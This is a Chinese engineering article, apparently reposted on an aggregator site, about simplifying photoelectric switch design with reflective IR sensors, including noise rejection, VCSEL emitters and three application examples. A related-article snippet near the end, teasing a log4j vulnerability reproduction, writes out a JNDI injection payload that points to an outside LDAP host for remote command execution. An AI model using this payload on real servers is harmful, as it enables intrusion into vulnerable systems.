反射感测器简化光电开关设计

本文为大家介绍如何利用反射感测器的优势,以简化并改进微型光学感测器的设计。

反射感测器是设计微型光电开关的得力助手。它们精巧直观,可用来简化人机交互。这些感测器通常隐藏在红外 ( IR ) 透镜盖后面,当手指或其他物体接触镜盖表面时,感测器会迅速做出回应。

光学感测器或反射感测器可用来简化设计过程,便于设计直观、智慧且操作可靠的按钮,是一种既简单又高效的结构:

  1. 感测器一端装有发射红外光的发射器
  2. 当手指或任何物体靠近时,会受到这种光束的照射
  3. 反射信号在另一端的探测器产生光电流

这些感测器的工作是无形的,没有运动部件或摩擦,几乎没有磨损。此外,光学感测器可以进行修正和微调,避免镜盖表面湿气、水、污垢和划痕的影响。即使带着手套操作,它们也可以高效运行。需要特别注意的是,与应用集成的感测器一样,要想取得理想的结果,必须考虑各种严峻挑战。对于光学感测器来说,这些挑战主要是应用环境和机械条件的限制。



环境挑战

想像一下:阳光和典型光源等外部干扰会造成探测器环境杂讯,这是需要解决的问题。这种情况下,我们要考虑由周边孔径反射,以及镜盖表面污垢、水、湿气或划痕所引起的偏移电流。这种偏移电流会增大接近信号,提高输出信号的总振幅。

如果设计阶段不考虑这些因素,杂讯信号强度会增大到超过设定的阈值,从而导致误测。为防止这种情况,设计感测器时应最大限度减少这些环境因素的影响,以保持正常的信噪比。



机械挑战

为美观起见,感测器通常隐藏在红外透镜盖下面,或者光学感测器观测孔保持最小尺寸。此外,为了给紧密排列在一起的多个按钮留出空间,感测器占位面积应尽可能小。这样一来,一方面感测器封装尺寸受到严格的机械约束,另一方面对发射角度/观测特性有严格要求。



应用场景

了解了采用反射感测器设计光电开关涉及的环境和机械挑战,接下来我们深入探讨三个具体应用场景。


01

阳光直射下工作的车载触控开关

由于体积小巧,光学感测器按钮可以放在车内任何地方。不过,为了适应车辆可变条件,必须达到高标准可靠性。同时,需要考虑温度波动和阳光的影响等因素。

感测器可通过优化孔径保证正确定向,以遮挡破坏性的阳光。此外,感测器封装设计要消除所有引起麻烦的光波长。这意味着,感测器只对发射器波长范围内的光做出回应,已滤除大部分环境杂讯。

您可以在探测器一端配置 DC 光抑制电路和高通滤波器,进一步增强感测器的功能,如图 1 所示。这种电路确保只探测和放大脉冲发射器信号。

图 1 :探测器配置 DC 光抑制电路和高通滤波器


02

密闭空间光学按钮面板

当设计需要在有限空间配置多个按钮时,非常适合使用配有发射器的感测器,这种发射器可利用光照强度高,光输出强的垂直腔面发射激光器 ( VCSEL )。

VCSEL 窄发射角大大减小了镜盖造成的偏移,使感测器特别适合在透明材料下工作。此外,感测器的光照模式和紧凑尺寸允许其极为紧密地并排放置。事实上,排列密度仅受手指宽度的限制。得益于 VCSEL 的光照模式,您可以为镜盖找一个产生偏移最小的位置。这个最佳点最好由距离曲线来确定。

距离曲线( 图 2 )表示感测器的相对输出信号与透镜或镜片距离的关系。大约 2 mm 距离内信号足够低。这表明理想情况下,镜片应保持在这个范围内,最大距离不超过 2 mm,以最大限度减小偏移,从而提高之前提到的信噪比。
 

ICrel - 相对集电极电流

z - 距离图 2 :距离曲线表示感测器相对输出信号与透镜或镜片距离的关系。


03

适用于恶劣工业或医疗环境的按钮

如您的目标是设计坚固耐用的按钮,用于严苛的工业或医疗应用。光电按钮表面光滑,没有藏污纳垢的缝隙,因此便于清洁。然而,关键是感测器不能因液体或污垢触发。

而且,即使手指定位不准,不是直接落在感测器上方,也可以识别按压动作。由于红外发射器的发射角宽,光电按钮对镜盖表面污垢的敏感度下降。这种广角发射扩大了光照功率的分布区域。

此外,广角发射便于探测未直接放在感测器上的手指。重要的是,这种环境中经常使用的手套不会造成问题,感测器很容易探测。
 


图 3 模型是一种满足这些标准的简化版实用按钮设计。

感测器在距感测器顶部 3 mm 、厚度为 2 mm 的红外透镜聚碳酸酯盖下工作。孔径设计足够大,适应感测器广角发射,从而最大限度减小偏移杂讯。图 3为使其对阳光不敏感,设计采用图 1 所示电路拓扑结构。发射器的脉冲频率为 5 kHz 。

增加的高通滤波器使截止频率低于脉冲频率,且有效抑制 50 Hz 典型市电交流声。输出信号可直接连接模-数转换器做进一步处理。

通过校准,感测器可以忽略孔径引起的偏移。这种设计非常稳定,对外部因素造成的误触发具有很高的抵抗能力,性能极为可靠。

登录大大通,了解更多详情,解锁1500+完整应用方案,更有大联大700+FAE在线答疑解惑! 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/797668.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2024年4月7日16:58:09答辩笔记

尚硅谷总结毕业设计编写:(ppt尽量好看点,放图(流畅图,时序图放一放),少字,) 总结:(这样给人体验感要好,语言、逻辑清晰) 1…

电脑桌面上的快捷方式提示没有应用相关联,需要设置默认应用

前言 一开始不知道自己究竟做了什么,电脑上的快捷方式点击任何一个都是顶着一串数字,提示没有应用相关联,此电脑,垃圾桶,网络,无论是电脑自带的快捷方式,还是自己创建的快捷方式,通通打不开 但是使用软件查看磁盘发现正常识别,通过软件可以浏览磁盘里的文件,究竟为什么? 解决…

Transformer架构的自注意力机制

自注意力机制(Self-Attention),有时也称为内部注意力机制,是Transformer架构的核心。它是一种允许输入序列中的每个位置都能够考虑到序列中所有其他位置的机制,这样能够在每个位置捕获全局的上下文信息。自注意力机制使…

什么是JDK动态代理?怎么使用?

目录 一、什么是动态代理,有什么作用1、代理是什么2、代理在开发中的使用情况3、使用代理模式的作用 二、静态代理1、静态代理实现示例 三、动态代理1、动态代理的实现(有两种)1、CGLIB动态代理(了解)2、jdk动态代理&a…

【沈阳航空航天大学】【实验课程】《类与对象》实验

《类与对象》实验 《类与对象》实验任务书 一、实验要求 本次《类与对象》实验,是基于 “高级程序设计”和“高级程序设计实验”课程学习内容的重要实践环节,实验目的是通过综合性实验,培养学生面向对象程序设计思想,掌握类和对象…

Vue探索之Vue2.x源码分析(二)

一.Virtual Dom 虚拟DOM是一种轻量级的抽象,它允许我们在Javascript中创建、更新和删除DOM元素。它是React等现代Javascript框架的核心概念之一。 Vue的虚拟dom是一种抽象层的概念,它使得Vue可以高效地更新Dom。虚拟Dom是通过Javascript对象来表示DOM结…

vue实现验证码验证登录

先看效果&#xff1a; 代码如下&#xff1a; <template><div class"container"><div style"width: 400px; padding: 30px; background-color: white; border-radius: 5px;"><div style"text-align: center; font-size: 20px; m…

MySQL主从的介绍与应用

mysql主从 文章目录 mysql主从1. 主从简介1.1 主从作用1.2 主从形式 2. 主从复制原理3. 主从复制配置3.1 mysql安装&#xff08;两台主机安装一致&#xff0c;下面只演示一台主机操作&#xff09;3.2 mysql主从配置3.2.1 确保从数据库与主数据库里的数据一样3.2.2 在主数据库里…

log4j漏洞复现

1、apache log4j 是java语言中的日志处理套件/程序。2.0-2.14.1存在JNDI注入漏洞&#xff0c;导致攻击者可以控制日志内容的情况下&#xff0c;传入${jndi:ldap://xxxxxx.com/rce}的参数进行JNDI注入&#xff0c;执行远程命令。 JNDI&#xff1a; 命名和目录接口&#xff0c;…

苍穹外卖Day10——总结10

前期文章 文章标题地址苍穹外卖Day01——总结1https://lushimeng.blog.csdn.net/article/details/135466359苍穹外卖Day02——总结2https://lushimeng.blog.csdn.net/article/details/135484126苍穹外卖Day03——总结3https://blog.csdn.net/qq_43751200/article/details/1363…

工厂方法模式:灵活的创建对象实例

在软件开发中&#xff0c;我们经常需要创建对象&#xff0c;但直接new一个实例可能会导致代码的耦合性增加&#xff0c;降低了代码的灵活性和可维护性。工厂方法模式&#xff08;Factory Method Pattern&#xff09;是一种创建型设计模式&#xff0c;它提供了一种创建对象的接口…

基于单片机干湿垃圾自动分类系统

**单片机设计介绍&#xff0c;基于单片机干湿垃圾自动分类系统 文章目录 一 概要二、功能设计三、 软件设计原理图 五、 程序六、 文章目录 一 概要 基于单片机的干湿垃圾自动分类系统是一个集成传感器技术、机械控制和单片机编程于一体的自动化解决方案。该系统的主要目标是实…

算法| ss 合并区间

56.合并区间 56.合并区间 /*** param {number[][]} intervals* return {number[][]}*/ // 思路 区间合并 // 数组升序 // 取第一个元素作为pre // for循环遍历 // 条件判断&#xff1a; 如果当前开始大于pre的结尾&#xff0c;则存入pre&#xff0c; 更新pre为当前 // 否则 p…

死锁、活锁、饥饿三者之间的区别,Java 中导致饥饿的原因有哪些?为了避免饥饿,可以采取哪些措施

目录 面试官:死锁、活锁、饥饿的区别死锁(Deadlock)活锁(Livelock)饥饿(Starvation)面试官:Java 中导致饥饿的原因有哪些思维导图该文章专注于面试,面试只要回答关键点即可,不需要对框架有非常深入的回答,如果你想应付面试,是足够了,抓住关键点 面试官:死锁、活锁…

【趣味学算法】11_黑洞数

注&#xff1a; 本系列仅为个人学习笔记&#xff0c;学习内容为《算法小讲堂》&#xff08;视频传送门&#xff09;&#xff0c;通俗易懂适合编程入门小白&#xff0c;需要具备python语言基础&#xff0c;本人小白&#xff0c;如内容有误感谢您的批评指正 黑洞数又称陷阱数&…

Docker之镜像与容器的相关操作

目录 一、Docker镜像 搜索镜像 下载镜像 查看宿主机上的镜像 删除镜像 二、Docker容器 创建容器 查看容器 启停容器 删除容器 进入容器 创建/启动/进入容器 退出容器 查看容器内部信息 一、Docker镜像 Docker 运行容器前需要本地存在对应的镜像&#xff0c; 如…

每日更新5个Python小技能 | 第九期

大家好&#xff01;欢迎阅读每日更新的Python小技能系列&#xff0c;今天是第九期。在这个系列中&#xff0c;我将每天分享5个高级的Python小技巧&#xff0c;帮助大家进一步提升编程技能。让我们开始吧&#xff01; 1. 使用生成器提高内存效率 生成器是 Python 中强大而高效…

mysql 连接查询和子查询

学习了mysql基本查询&#xff0c; 接着学习连接查询和子查询。 4&#xff0c;连接查询 连接是关系数据库模型的主要特点。连接查询是关系数据库中最主要的查询&#xff0c;主要包括内连接、外连接等。通过连接运算符可以实现多个表查询。在关系数据库管理系统中&#xff0c;表建…

使用 Docker Compose 部署邮件服务器

使用 Docker Compose 部署邮件服务器 很多时候为了方便&#xff0c; 我们都直接使用第三方邮箱进行收发邮件。 但第三方邮箱有些要求定期修改密码&#xff0c;有些限制发邮箱的次数&#xff0c; 对于一些个人和企业来说&#xff0c; 有自己的域名和服务器为什么不自己搭建一个邮…

Android:身份证识别功能实现

说明&#xff1a; 此文使用华为SDK、百度SDK、百度在线API三种方式实现。 一、使用华为SDK实现身份证识别&#xff1a; 说明&#xff1a;免费&#xff0c;不需要联网。 1.AndroidManifest.xml添加权限&#xff1a;<uses-permission android:name"android.permissio…